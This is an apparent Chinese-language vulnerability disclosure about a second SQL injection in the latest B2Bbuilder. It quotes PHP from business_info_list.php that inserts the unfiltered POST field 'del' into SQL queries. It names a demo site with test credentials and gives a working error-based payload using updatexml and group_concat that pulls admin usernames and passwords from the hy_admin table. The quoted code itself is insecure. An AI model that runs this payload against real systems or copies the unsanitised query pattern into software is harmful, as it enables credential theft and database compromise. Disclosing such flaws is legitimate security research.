B2Bbuilder最新版sql注入第二处

看到module/company/admin/business_info_list.php

<?php $status=array('-1'=>lang_show('notpass'),'0'=>lang_show('wpass'),'1'=>lang_show('auditpass'));  if(isset($_GET['step'])) {         if($_GET['step']=="del")         {                 $db->query("delete from ".CERTIFICATION." where id='$_GET[deid]'");                 $sql="update ".COMPANY." set certification='0' where company_id in (select company_id from ".CERTIFICATION." where id='$_GET[deid]')";                 $db->query($sql);         } } if(isset($_POST['del'])) {         $ids=implode(",",$_POST['del']);         $sql="update  ".CERTIFICATION." set statu=1 where id in ($ids)";         $db->query($sql);                  $sql="update ".COMPANY." set certification='1' where company_id in (select company_id from ".CERTIFICATION." where id in ($ids))";         $db->query($sql); } ?>

其中del未过滤进入sql中，造成注入。

我们用demo测试
http://democn.b2b-builder.com
账号密码 test test

构造url

http://democn.b2b-builder.com/main.php?m=company&s=admin/business_info_list

POST数据包

del[]=1) or updatexml(2,concat(0x7e,((select group_concat(user,0x5e,password) from hy_admin))),0) %23&updateID=11&cc=6750